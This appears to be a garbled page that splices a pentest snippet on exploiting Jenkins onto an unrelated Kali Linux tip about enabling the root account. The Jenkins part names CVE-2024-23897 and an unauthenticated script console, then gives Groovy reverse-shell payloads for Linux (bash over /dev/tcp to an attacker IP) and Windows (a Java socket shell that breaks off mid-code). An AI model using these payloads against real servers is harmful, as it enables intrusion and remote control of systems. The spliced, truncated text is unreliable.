Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea
Kali had changed to a non-root user policy by default since the release of 2020.1.Which means, the old root/toor credentials won't work by default.
When some one login to the Kali linux using the new default credentials kali/kali , they wont be having the root privileges. Even unable to view the IP Address using the ifconfig command.
So the command not found, due to the lack of privileges.
To solve this, you can run the command in sudo.
#sudo ifconfig will give you the result. But executing all commands with sudo is bit inconvenience.
So let''s activate the root user.
#sudo su
and then reset the password using #passwd root
Enter your new password for the root user.
Restart Kali or switch user, and then login with root and the new password that you've set.